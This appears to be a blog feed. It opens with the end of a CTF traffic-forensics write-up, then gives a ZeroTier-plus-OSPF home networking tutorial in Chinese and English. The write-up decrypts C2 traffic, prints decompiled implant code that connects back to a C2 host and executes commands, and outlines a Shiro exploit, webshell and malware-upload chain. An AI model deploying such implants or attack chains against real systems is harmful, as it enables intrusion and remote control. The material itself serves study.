5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c
1e000000
e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234
1f000000
bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f
30000000
be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871
2b000000
2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a
6e000000
8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95
69000000
5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5
24000000
410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6
1f000000
7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4

Due to the variable length, ECB and CBC were unlikely. GCM was considered a strong possibility, especially as the first two command lengths (31 and 30 bytes after decryption) corresponded to typical commands like pwd and ls, with the remaining bytes matching GCM's structure (12-byte nonce, 16-byte tag). Attempting GCM decryption:

import base64
import binascii
from Crypto.Cipher import AES

key = base64.b64decode("IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=")

hex_str = """
1f000000
33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a
24000000
5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c
1e000000
e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234
1f000000
bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f
30000000
be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871
2b000000
2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a
6e000000
8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95
69000000
5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5
24000000
410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6
1f000000
7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4
""".replace('\n', '').replace(' ', '')

data = binascii.unhexlify(hex_str)

i = 0
chunk_idx = 0
while i < len(data):
    length = int.from_bytes(data[i:i+4], 'little')
    i += 4
    
    chunk = data[i:i+length]
    i += length
    
    nonce = chunk[:12]
    ciphertext = chunk[12:-16]
    tag = chunk[-16:]
    
    cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
    plaintext = cipher.decrypt_and_verify(ciphertext, tag)
    print(f"{chunk_idx}: len{len(plaintext)}: {plaintext}")
        
    chunk_idx += 1

The output was:

0: len3: b'pwd'
1: len8: b'/var/tmp'
2: len2: b'ls'
3: len3: b'out'
4: len20: b'echo Congratulations'
5: len15: b'Congratulations'
6: len82: b'echo 3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi'
7: len77: b'3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi'
8: len8: b'echo bye'
9: len3: b'bye'

Putting 3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi through CyberChef, applying Base58 then Base64 decryption yielded the Flag: dart{d9850b27-85cb-4777-85e0-df0b78fdb722}

A later attempt to fully extract and reverse engineer the binary uploaded in chunks confirmed it was a PyInstaller-packaged ELF. Decompiling the extracted inspect.pyc revealed:

# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
# Version : Python 3.9

import os
import socket
import struct
import subprocess
import argparse
import settings
import base64
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
SERVER_LISTEN_IP = '10.1.243.155'
SERVER_LISTEN_PORT = 7788
IMPLANT_CONNECT_IP = '10.1.243.155'
IMPLANT_CONNECT_PORT = 7788
SERVER_LISTEN_NUM = 20
_aesgcm = None

def set_aes_key(key_b64 = None):
    global _aesgcm
    key = base64.b64decode(key_b64)
    if len(key) not in (16, 24, 32):
        raise ValueError('AES 密钥长度必须为 16, 24 或 32 字节（对应 128, 192, 256 位）')
    _aesgcm = None(key)


def encrypt_data(data = None):
    if _aesgcm is None:
        raise RuntimeError('AES 密钥未初始化，请先调用 set_aes_key()')
    nonce = None.urandom(12)
    ciphertext = _aesgcm.encrypt(nonce, data, None)
    return nonce + ciphertext


def decrypt_data(encrypted_data = None):
    if _aesgcm is None:
        raise RuntimeError('AES 密钥未初始化，请先调用 set_aes_key()')
    if None(encrypted_data) < 28:
        raise ValueError('加密数据太短，无法包含 nonce 和认证标签')
    nonce = None[:12]
    ciphertext_with_tag = encrypted_data[12:]
    plaintext = _aesgcm.decrypt(nonce, ciphertext_with_tag, None)
    return plaintext


def exec_cmd(command, code_flag):
    command = command.decode('utf-8')
# WARNING: Decompyle incomplete


def send_data(conn, data):
    if type(data) == str:
        data = data.encode('utf-8')
    encrypted_data = settings.encrypt_data(data)
    cmd_len = struct.pack('i', len(encrypted_data))
    conn.send(cmd_len)
    conn.send(encrypted_data)


def recv_data(sock, buf_size = (1024,)):
    x = sock.recv(4)
    all_size = struct.unpack('i', x)[0]
    recv_size = 0
    encrypted_data = b''
    if recv_size < all_size:
        encrypted_data += sock.recv(buf_size)
        recv_size += buf_size
        continue
    data = settings.decrypt_data(encrypted_data)
    return data


def main():
    sock = socket.socket()
    sock.connect((settings.IMPLANT_CONNECT_IP, settings.IMPLANT_CONNECT_PORT))
    code_flag = 'gbk' if os.name == 'nt' else 'utf-8'
# WARNING: Decompyle incomplete

if __name__ == '__main__':
    parser = argparse.ArgumentParser('', **('description',))
    parser.add_argument('--aes-key', True, '', **('required', 'help'))
    args = parser.parse_args()
    settings.set_aes_key(args.aes_key)
    main()

This confirmed the use of AES-GCM.

Summary

The complete attack chain was as follows:

sequenceDiagram
    participant Attacker as Attacker / C2 Server
    participant WebServer as Web App Layer (Shiro / Behinder WebShell)
    participant OS as Underlying System (Linux OS)

    rect rgb(240, 248, 255)
        note right of Attacker: Phase 1: Shiro Exploitation & RCE
        Attacker->>WebServer: Continuous brute-force of rememberMe Cookie (CVE-2016-4437)
        WebServer-->>Attacker: 302 Redirect (Brute-force successful, AES Key obtained)
        Attacker->>WebServer: Send RCE Payload (Commands via Authorization header)
        WebServer->>OS: Spawn process to execute commands (whoami, ls -la, etc.)
        OS-->>WebServer: Return standard output (root, etc.)
        WebServer-->>Attacker: Return Base64 encrypted command results
    end

    rect rgb(255, 240, 245)
        note right of Attacker: Phase 2: Inject Memory-Shell & Post-Exploration
        Attacker->>WebServer: POST request to inject Behinder memory-shell
        WebServer-->>Attacker: Return injection success indicator (->|Success|<-)
        Attacker->>WebServer: Access /favicondemo.ico, send AES encrypted Java Classes
        WebServer->>OS: Read environment variables, network info, list /tmp & /var/tmp
        OS-->>WebServer: Return system status and file lists
        WebServer-->>Attacker: Return AES encrypted exploration results
    end

    rect rgb(240, 255, 240)
        note right of Attacker: Phase 3: Chunked Upload & Execution of Persistent Malware
        Attacker->>WebServer: Multiple requests to upload ELF malware in chunks
        WebServer->>OS: Append payload chunks to /var/tmp/out
        Attacker->>WebServer: Send hash verification request
        WebServer->>OS: Calculate MD5 hash of /var/tmp/out
        OS-->>WebServer: Verification successful
        WebServer-->>Attacker: Return hash confirming file integrity
        Attacker->>WebServer: Send commands chmod +x out and ./out --aes-key ...
        WebServer->>OS: Grant execute permissions and run malware with key parameter
    end

    rect rgb(255, 253, 230)
        note right of Attacker: Phase 4: TCP Reverse Connection & Deep Control
        OS->>Attacker: Pyinstaller malware initiates TCP reverse connection to C2 (10.1.243.155:7788)
        Attacker->>OS: Send AES-GCM encrypted commands (pwd, ls, echo)
        OS-->>Attacker: Return encrypted execution results (final output includes Flag)
    end

Phase 1: Shiro Vulnerability Exploitation and RCE Verification
- The attacker successfully brute-forced the Apache Shiro AES key by sending GET requests containing rememberMe cookies.
- Subsequently, the attacker used the Authorization header to pass encrypted commands. The web server executed commands like whoami and returned the Base64 encrypted result root.
Phase 2: Implanting Memory Webshell and Initial Control
- The attacker sent a POST request to the / path containing a Java class, successfully injecting a Behinder memory webshell, establishing the C2 channel on the /favicondemo.ico path.
- The attacker sent AES-encrypted Java classes through this channel, using the web application layer to read the underlying system's environment variables, IP information (172.18.0.2), and execute basic system commands (e.g., ps -ef).
Phase 3: Malware Upload and Execution
- Through the webshell, the attacker used blockIndex and blockSize parameters to upload an ELF binary in chunks, appending it to /var/tmp/out, and verified its hash (a0275c1593af1adb).
- The attacker issued the shell command chmod +x out to grant execution permissions and ran the malware on the underlying system using ./out --aes-key ....
Phase 4: TCP Reverse Connection to Obtain Flag
- Once executed, the Python-based malware bypassed the web layer and actively initiated a TCP connection to the attacker's C2 server (10.1.243.155:7788).
- Both parties switched to AES-GCM encryption. The attacker issued remote control commands like pwd, ls, and echo Congratulations, ultimately retrieving the Flag from the final response.

Overall, it was quite an interesting challenge.

[整活向] 跨越 20km 的局域网: 在 OpenWrt 上使用 ZeroTier + OSPF 实现异地内网无感融合

Tue, 10 Feb 2026 15:36:00 GMT

起因

本来在配自己的 ZeroTier 大内网, 因为网络结构比较复杂, 所以采用 OSPF 而不是静态路由来配置内部路由.

之前尝试给自家 OpenWrt 上配置 ZeroTier 但是一直没成功, 这两天重新拿出来折腾了一下发现是 OpenWrt 的配置问题, 修好之后和好朋友闲聊的时候就想到:

说干就干, 开整(

基本信息

本地

路由器系统: OpenWrt, X-WRT 26.04_b202601250827
局域网 IPv4 前缀: 192.168.3.0/24
运营商: 合肥联通
NAT 环境: NAT1

对端

路由器系统: OpenWrt, X-WRT 25.04_b202510240128
局域网 IPv4 前缀: 192.168.1.0/24
运营商: 合肥移动
NAT 环境: NAT1

安装 ZeroTier 并使用自托管 Planet

我使用了 ZTNet 作为自托管 Controller , 搭建过程这里就不过多赘述了, 上网找一下就能找到.
我使用的 OpenWrt 版本已经开始使用 apk 代替 opkg 作为包管理器. 使用 apk 可直接安装 zerotier-one:

apk add zerotier

完成后打开 /etc/config/zerotier 可找到默认配置文件.

config zerotier 'global'
	# Sets whether ZeroTier is enabled or not
	option enabled 0
	# Sets the ZeroTier listening port (default 9993; set to 0 for random)
	#option port '9993'
	# Client secret (leave blank to generate a secret on first run)
	option secret ''
	# Path of the optional file local.conf (see documentation at
	# https://docs.zerotier.com/config#local-configuration-options)
	#option local_conf_path '/etc/zerotier.conf'
	# Persistent configuration directory (to perform other configurations such
	# as controller mode or moons, etc.)
	#option config_path '/etc/zerotier'
	# Copy the contents of the persistent configuration directory to memory
	# instead of linking it, this avoids writing to flash
	#option copy_config_path '1'

# Network configuration, you can have as many configurations as networks you
# want to join (the network name is optional)
config network 'earth'
	# Identifier of the network you wish to join
	option id '8056c2e21c000001'
	# Network configuration parameters (all are optional, if not indicated the
	# default values are set, see documentation at
	# https://docs.zerotier.com/config/#network-specific-configuration)
	option allow_managed '1'
	option allow_global '0'
	option allow_default '0'
	option allow_dns '0'

# Example of a second network (unnamed as it is optional)
#config network
#	option id '1234567890123456'
#	option allow_managed '1'
#	option allow_global '0'
#	option allow_default '0'
#	option allow_dns '0'

按照需求修改一下:

config zerotier 'global'
    option enabled '1'              # 启用 ZeroTier 客户端服务
    option config_path '/etc/zerotier' # 持久化目录: 用于存放身份秘钥(identity)、Moon节点定义和网络设置
    option secret ''                # 秘钥留空: 首次启动会自动生成身份并存入 identity.secret 文件
    option copy_config_path '1'     # 保护闪存策略: 启动时将配置考入内存运行. 若设为 0, 则直接在 Flash 上读写

config network 'earth'
    option id '<network ID>'        # 16位 ZeroTier 网络标识符
    option allow_managed '1'        # 允许接收控制器分配的 IP 地址、路由和标签
    option allow_global '1'         # 允许通过 ZeroTier 分配全球单播 IPv6 地址 (GUA)
    option allow_default '0'        # 允许 ZeroTier 接管默认网关(实现类似全局代理的效果) 
    option allow_dns '1'            # 允许接收并设置 ZeroTier 控制面板中配置的 DNS 服务器

关于 copy_config_path '1'

因为 ZeroTier 工作目录 /var/lib/zerotier-one 在OpenWrt下属于 tmpfs , 重启后这里的内容会被清空, 因此需要将 planet ,identity, network 等配置放到路由器的 Flash 存储中, 即 config_path 配置的路径.
默认逻辑是启动的时候将配置的 config_path 软链接到 /var/lib/zerotier-one 实现配置持久化, 一切 /var/lib/zerotier-one 下的读写操作都会被写入到 Flash. 但是问题就是 ZeroTier 的频繁读写会导致 Flash 寿命折损比较快.
而开启 copy_config_path '1' 则会指定当 ZeroTier 启动的时候, 将 config_path 中的配置直接复制到 /var/lib/zerotier-one, 极大延长了路由器内部 Flash 的寿命, 但是问题是通过 zerotier-cli 做的一些修改默认不会直接同步到 Flash, 因此不适合需要经常调整配置的使用场景.

完成修改后使用

/etc/init.d/zerotier start
/etc/init.d/zerotier enable

来启动 ZeroTier 并开启开机自启.

第一次启动时若上面 secret 配置项留空, 则会自动生成. 启动完成后将 /var/lib/zerotier-one 下的所有文件复制到 /etc/zerotier.

将 Planet 文件下载到上面设置的 config_path 中, 即 /etc/zerotier. 完成后重启 ZeroTier:

/etc/init.d/zerotier restart

即可. 接着去 ZeroTier Controller 控制台, 就能看到新设备接入了.

接着可能需要允许 ZeroTier 流量通过防火墙, 这一步可参考网上其他教程. 我选择直接放行所有, NAT1下应该不会有太大问题.

安装并配置 Bird2

没想到 apk 里的 Bird2 是非常新的版本, 截止本文写作时间 2026-02-10, apk 里的 Bird2 版本为 2.18

使用如下指令安装:

apk add bird2  # bird daemon 本体
apk add bird2c # birdc 指令

因为 OpenWrt 默认的 bird 配置文件存放在 /etc/bird.conf, 而我习惯按照不同的功能分不同的文件夹实现模块化引用, 因此我选择将默认配置文件改到 /etc/bird/bird.conf, 并在该文件夹下存放不同配置文件.
打开 /etc/init.d/bird:

#!/bin/sh /etc/rc.common
# Copyright (C) 2010-2017 OpenWrt.org

USE_PROCD=1
START=70
STOP=10

BIRD_BIN="/usr/sbin/bird"
BIRD_CONF="/etc/bird.conf"
BIRD_PID_FILE="/var/run/bird.pid"

start_service() {
    mkdir -p /var/run
    procd_open_instance
    procd_set_param command $BIRD_BIN -f -c $BIRD_CONF -P $BIRD_PID_FILE
    procd_set_param file "$BIRD_CONF"
    procd_set_param stdout 1
    procd_set_param stderr 1
    procd_set_param respawn
    procd_close_instance
}

reload_service() {
    procd_send_signal bird
}

修改 BIRD_CONF 值为 /etc/bird/bird.conf:

- BIRD_CONF="/etc/bird.conf"
+ BIRD_CONF="/etc/bird/bird.conf"

然后新建 /etc/bird文件夹, 之后的 OSPF 配置文件全都放在这里.

配置 OSPF

我的配置文件结构遵循如下规则:

由 /etc/bird/bird.conf 作为唯一入口点, 在这里定义一些基础的配置项, 如 Router ID, 过滤器网段, 接着由该文件引用其他子项的配置
不同网络的配置放在不同的文件夹下, 如公网部分放在 /etc/bird/inet/, DN42 部分放在 /etc/bird/dn42/, 自己的内网部分放在 /etc/bird/intra/
不同的网络都由一个 defs.conf 处理那些公共的函数 (类似于 Golang 开发时写的 utils? )

因此最终的配置文件结构如下：

/etc/bird/bird.conf: 配置文件入口点

define INTRA_ROUTER_ID = 100.64.0.100;
define INTRA_PREFIX_V4 = [ 100.64.0.0/16+, 192.168.0.0/16+ ]; # 允许被 OSPF 传递的 IPv4 前缀
define INTRA_PREFIX_V6 = [ fd18:3e15:61d0::/48+ ]; # 允许被 OSPF 传递的 IPv6 前缀

protocol device {
    scan time 10;
};

ipv4 table intra_table_v4; # 定义内部路由 IPv4 路由表
ipv6 table intra_table_v6; # 定义内部路由 IPv6 路由表

include "intra/defs.conf";
include "intra/kernel.conf";
include "intra/ospf.conf";

这里的 RouterID 我直接拿的这台机器在 ZeroTier 内网的 IPv4 地址. 分表是为了后期如果要为这台机器接入 DN42, 分表会比较安全.

/etc/bird/intra/defs.conf: 过滤器所用的函数

function is_intra_net4() {
    return net ~ INTRA_PREFIX_V4;
}

function is_intra_net6(){
    return net ~ INTRA_PREFIX_V6;
}

function is_intra_dn42_net4(){
    return net ~ [ 172.20.0.0/14+ ];
}

function is_intra_dn42_net6(){
    return net ~ [ fd00::/8+ ];
}

/etc/bird/intra/kernel.conf: 将 OSPF 学习到的路由写入系统路由表

protocol kernel intra_kernel_v4 {
    kernel table 254;
    scan time 20;
    ipv4 {
        table intra_table_v4;
        import none;
        export filter {
            if source = RTS_STATIC then reject;
            accept;
        };
    };
};

protocol kernel intra_kernel_v6 {
    kernel table 254;
    scan time 20;
    ipv6 {
        table intra_table_v6;
        import none;
        export filter {
            if source = RTS_STATIC then reject;
            accept;
        };
    };
};

/etc/bird/intra/ospf.conf: OSPF 模块

protocol ospf v3 intra_ospf_v4 {
    router id INTRA_ROUTER_ID; # 指定 RouterID
    
    ipv4 {
        table intra_table_v4; # 指定路由表
        import where is_intra_dn42_net4() || is_intra_net4() && source != RTS_BGP;
        export where is_intra_dn42_net4() || is_intra_net4() && source != RTS_BGP;
    };

    include "ospf/*";
};

protocol ospf v3 intra_ospf_v6 {
    router id INTRA_ROUTER_ID; # 指定 RouterID

    ipv6 {
        table intra_table_v6; # 指定路由表
        import where is_intra_dn42_net6() || is_intra_net6() && source != RTS_BGP;
        export where is_intra_dn42_net6() || is_intra_net6() && source != RTS_BGP;
    };

    include "ospf/*";
};

/etc/bird/intra/ospf/backbone.conf: OSPF 区域配置

area 0.0.0.0 {
    interface "br-lan" { stub; }; # 本地内网网卡
    interface "zta7oqfzy6" { # ZeroTier 网卡
        type broadcast;
        cost 100;
        hello 20;
    };
};

完成后使用:

/etc/init.d/bird start
/etc/init.d/bird enable

来启动 Bird 并开启开机自启.
如果没问题的话便可以使用

birdc s p

查看 Bird 状态. 如果不出意外的话等对方配置好应该能看到 OSPF 状态是 Running 了:

root@X-WRT:/etc/bird# birdc s p
BIRD 2.18 ready.
Name       Proto      Table      State  Since         Info
device1    Device     ---        up     14:28:02.410  
intra_kernel_v4 Kernel     intra_table_v4 up     14:28:02.410  
intra_kernel_v6 Kernel     intra_table_v6 up     14:28:02.410  
intra_ospf_v4 OSPF       intra_table_v4 up     14:28:02.410  Running
intra_ospf_v6 OSPF       intra_table_v6 up     14:31:38.389  Running

在朋友那边也按照这套流程走一遍, 等双方都是 Running 状态, 就可以通过

birdc s r protocol intra_ospf_v4

查看 OSPF 学到的路由. 发现已经可以正常学习到通过 ZeroTier 的通往对方的路由:

root@X-WRT:/etc/bird# birdc s r protocol intra_ospf_v4
BIRD 2.18 ready.
Table intra_table_v4:
...
192.168.1.0/24       unicast [intra_ospf_v4 23:20:21.398] * I (150/110) [100.64.0.163]
	via 100.64.0.163 on zta7oqfzy6
...
192.168.3.0/24       unicast [intra_ospf_v4 14:28:02.511] * I (150/10) [100.64.0.100]
	dev br-lan

在 PC 上 Ping 朋友家的服务器也可以 Ping 通:

iyoroy@iYoRoy-PC:~$ ping 192.168.1.103
PING 192.168.1.103 (192.168.1.103) 56(84) bytes of data.
64 bytes from 192.168.1.103: icmp_seq=1 ttl=63 time=54.3 ms
64 bytes from 192.168.1.103: icmp_seq=2 ttl=63 time=10.7 ms
64 bytes from 192.168.1.103: icmp_seq=3 ttl=63 time=15.2 ms
^C
--- 192.168.1.103 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 10.678/26.717/54.279/19.576 ms
iyoroy@iYoRoy-PC:~$ traceroute 192.168.1.103
traceroute to 192.168.1.103 (192.168.1.103), 30 hops max, 60 byte packets
 1  100.64.0.163 (100.64.0.163)  10.445 ms  9.981 ms  9.892 ms
 2  192.168.1.103 (192.168.1.103)  11.621 ms  10.994 ms  10.948 ms

正常打开网页测速都没有问题:

总结

这一系列操作实际上实现了如下的网络结构:

flowchart TB
    %% === 样式定义 ===
    classDef phyNet fill:#e3f2fd,stroke:#1565c0,stroke-width:2px
    classDef virNet fill:#fff3e0,stroke:#ef6c00,stroke-width:2px,stroke-dasharray: 5 5
    classDef router fill:#333,stroke:#000,stroke-width:2px,color:#fff
    classDef ztCard fill:#f57c00,stroke:#e65100,stroke-width:2px,color:#fff,shape:rect
    classDef bird fill:#a5d6a7,stroke:#2e7d32,stroke-width:1px,color:#000
    
    classDef invisibleContainer fill:none,stroke:none,color:none

    %% === 物理层容器 ===
    subgraph Top_Physical_Layer [" "]
        direction LR 
        
        subgraph Left_Side ["我家 (Node A)"]
            direction TB
            L_Router[X-WRT Router A]:::router
            L_LAN[内网: 192.168.3.0/24]
            L_LAN <--> L_Router
        end

        subgraph Right_Side ["朋友家 (Node B)"]
            direction TB
            R_Router[X-WRT Router B]:::router
            R_LAN[内网: 192.168.1.0/24]
            R_LAN <--> R_Router
        end
    end

    %% === 虚拟层容器 ===
    subgraph Middle_Side [ZeroTier Virtual L2 Network]
        direction LR  

        subgraph ZT_Stack_A [我家 ZT接入]
            direction TB
            L_NIC(zt0: 100.64.0.x):::ztCard
            L_Bird(Bird OSPF):::bird
            L_NIC <-.- L_Bird 
        end

        subgraph ZT_Stack_B [朋友家 ZT接入]
            direction TB
            R_NIC(zt0: 100.64.0.y):::ztCard
            R_Bird(Bird OSPF):::bird
            R_NIC <-.- R_Bird 
        end
        
        L_NIC <==P2P Tunnel==> R_NIC
    end

    %% === 跨层连接 ===
    L_Router === L_NIC
    R_Router === R_NIC

    %% === 样式应用 ===
    class Left_Side,Right_Side phyNet
    class Middle_Side virNet
    class Top_Physical_Layer invisibleContainer

最底层的 P2P 网络还是依靠 ZeroTier实现的, 不过使用 OSPF 内部寻路来让两边都可以直接路由到对方网段下的设备, 同时因为双方都能完整学习到对方的路由, 因此不需要使用任何的NAT, 双方也都能直接获取到对方的来源地址.

朋友视角

Linux 运维 - 新版 OpenWrt 基于 Bird 的 OSPF 组网实现 » Nanamiの电波发射塔

[Fun Experiment] A LAN Spanning 20km: Seamlessly Merging Remote Networks on OpenWrt Using ZeroTier + OSPF

Tue, 10 Feb 2026 15:36:00 GMT

Background

I was originally setting up my own ZeroTier "big internal network". Because the network structure is relatively complex, I decided to use OSPF instead of static routes to configure internal routing.

I had tried to configure ZeroTier on my home OpenWrt before but never succeeded. Recently, I took it out again to work on it and discovered it was a configuration issue with OpenWrt. After fixing it, I was chatting with a good friend and had an idea:

Kagura iYoRoy: 02-10 14:49:05
Hey...

Kagura iYoRoy: 02-10 14:49:06
Then...

Kagura iYoRoy: 02-10 14:49:20
If you also set up OSPF on your router...

Kagura iYoRoy: 02-10 14:49:27
Our two home networks would be directly interconnected, huh? (

Let's do it!

Basic Information

Local Side

Router OS: OpenWrt, X-WRT 26.04_b202601250827
LAN IPv4 Prefix: 192.168.3.0/24
ISP: Hefei China Unicom
NAT Environment: NAT1

Remote Side

Router OS: OpenWrt, X-WRT 25.04_b202510240128
LAN IPv4 Prefix: 192.168.1.0/24
ISP: Hefei China Mobile
NAT Environment: NAT1

Installing ZeroTier and Using a Self-Hosted Planet

I used ZTNet as the self-hosted Controller. The setup process won't be elaborated here as you can find it online. The OpenWrt version I'm using has started using apk instead of opkg as the package manager. Use apk to install zerotier-one directly:

apk add zerotier

After completion, open /etc/config/zerotier to find the default configuration file.

config zerotier 'global'
    # Sets whether ZeroTier is enabled or not
    option enabled 0
    # Sets the ZeroTier listening port (default 9993; set to 0 for random)
    #option port '9993'
    # Client secret (leave blank to generate a secret on first run)
    option secret ''
    # Path of the optional file local.conf (see documentation at
    # https://docs.zerotier.com/config#local-configuration-options)
    #option local_conf_path '/etc/zerotier.conf'
    # Persistent configuration directory (to perform other configurations such
    # as controller mode or moons, etc.)
    #option config_path '/etc/zerotier'
    # Copy the contents of the persistent configuration directory to memory
    # instead of linking it, this avoids writing to flash
    #option copy_config_path '1'

# Network configuration, you can have as many configurations as networks you
# want to join (the network name is optional)
config network 'earth'
    # Identifier of the network you wish to join
    option id '8056c2e21c000001'
    # Network configuration parameters (all are optional, if not indicated the
    # default values are set, see documentation at
    # https://docs.zerotier.com/config/#network-specific-configuration)
    option allow_managed '1'
    option allow_global '0'
    option allow_default '0'
    option allow_dns '0'

# Example of a second network (unnamed as it is optional)
#config network
#   option id '1234567890123456'
#   option allow_managed '1'
#   option allow_global '0'
#   option allow_default '0'
#   option allow_dns '0'

Modify it according to your needs:

config zerotier 'global'
    option enabled '1'              # Enable ZeroTier client service
    option config_path '/etc/zerotier' # Persistent directory: for storing identity secret, Moon node definitions, and network settings
    option secret ''                # Leave secret blank: identity will be auto-generated on first run and saved to identity.secret
    option copy_config_path '1'     # Flash protection policy: copy config to memory on startup. If set to 0, read/write directly to Flash

config network 'earth'
    option id '<network ID>'        # 16-digit ZeroTier Network ID
    option allow_managed '1'        # Allow receiving controller-assigned IPs, routes, and tags
    option allow_global '1'         # Allow receiving globally routable IPv6 unicast addresses (GUA) via ZeroTier
    option allow_default '0'        # Allow ZeroTier to take over the default gateway (similar to a global proxy)
    option allow_dns '1'            # Allow receiving and using DNS servers configured in the ZeroTier control panel

Regarding `copy_config_path '1'`

Because the ZeroTier working directory /var/lib/zerotier-one is part of tmpfs in OpenWrt, its contents are cleared on reboot. Therefore, configurations like planet, identity, and network files need to be stored in the router's Flash storage, i.e., the path set in config_path. The default logic is to create a soft link from the configured config_path to /var/lib/zerotier-one on startup to achieve persistence. All read/write operations in /var/lib/zerotier-one are then written to Flash. However, frequent ZeroTier read/writes can significantly reduce Flash lifespan. Enabling copy_config_path '1' specifies that on ZeroTier startup, the configurations from config_path are copied directly into /var/lib/zerotier-one. This greatly extends the internal Flash lifespan, but the downside is that modifications made via zerotier-cli are not automatically synced back to Flash by default, making this option less suitable for scenarios requiring frequent configuration adjustments.

After making changes, use:

/etc/init.d/zerotier start
/etc/init.d/zerotier enable

to start ZeroTier and enable auto-start on boot.

On first startup, if the secret field was left empty, it will be auto-generated. After startup, copy all files from /var/lib/zerotier-one to /etc/zerotier.

Download the Planet file to the config_path set above, i.e., /etc/zerotier. After completion, restart ZeroTier:

/etc/init.d/zerotier restart

That's it. Then, go to your ZeroTier Controller console, and you should see the new device has joined.

Next, you may need to allow ZeroTier traffic through the firewall. This step can be referenced from other online tutorials. I chose to allow all traffic; it shouldn't be a big issue under NAT1.

Installing and Configuring Bird2

I didn't expect the Bird2 version in the apk repository to be very recent. As of this writing on 2026-02-10, the Bird2 version in apk is 2.18

Use the following command to install:

apk add bird2  # bird daemon itself
apk add bird2c # birdc command

Because OpenWrt's default bird configuration file is located at /etc/bird.conf, and I prefer modular referencing by placing different configurations in separate folders based on function, I chose to move the default config file to /etc/bird/bird.conf and store various config files within that folder. Open /etc/init.d/bird:

#!/bin/sh /etc/rc.common
# Copyright (C) 2010-2017 OpenWrt.org

USE_PROCD=1
START=70
STOP=10

BIRD_BIN="/usr/sbin/bird"
BIRD_CONF="/etc/bird.conf"
BIRD_PID_FILE="/var/run/bird.pid"

start_service() {
    mkdir -p /var/run
    procd_open_instance
    procd_set_param command $BIRD_BIN -f -c $BIRD_CONF -P $BIRD_PID_FILE
    procd_set_param file "$BIRD_CONF"
    procd_set_param stdout 1
    procd_set_param stderr 1
    procd_set_param respawn
    procd_close_instance
}

reload_service() {
    procd_send_signal bird
}

Change the BIRD_CONF value to /etc/bird/bird.conf:

- BIRD_CONF="/etc/bird.conf"
+ BIRD_CONF="/etc/bird/bird.conf"

Then create the /etc/bird folder. All subsequent OSPF configuration files will be placed here.

Configuring OSPF

My configuration file structure follows these rules:

/etc/bird/bird.conf serves as the sole entry point, defining basic configurations like Router ID, filter prefixes, and then including other sub-configurations.
Configurations for different networks are placed in separate folders, e.g., public internet parts in /etc/bird/inet/, DN42 parts in /etc/bird/dn42/, and my own internal network parts in /etc/bird/intra/.
Each network has a defs.conf handling common functions (similar to utils in Golang development?).

Thus, the final configuration file structure is:

/etc/bird/bird.conf: Configuration entry point

define INTRA_ROUTER_ID = 100.64.0.100;
define INTRA_PREFIX_V4 = [ 100.64.0.0/16+, 192.168.0.0/16+ ]; # IPv4 prefixes allowed to be advertised via OSPF
define INTRA_PREFIX_V6 = [ fd18:3e15:61d0::/48+ ]; # IPv6 prefixes allowed to be advertised via OSPF

protocol device {
    scan time 10;
};

ipv4 table intra_table_v4; # Define internal routing IPv4 table
ipv6 table intra_table_v6; # Define internal routing IPv6 table

include "intra/defs.conf";
include "intra/kernel.conf";
include "intra/ospf.conf";

The RouterID here is directly taken from the node's IPv4 address within the ZeroTier internal network. Separate tables are used for future safety, e.g., if connecting this node to DN42.

/etc/bird/intra/defs.conf: Functions for filters

function is_intra_net4() {
    return net ~ INTRA_PREFIX_V4;
}

function is_intra_net6(){
    return net ~ INTRA_PREFIX_V6;
}

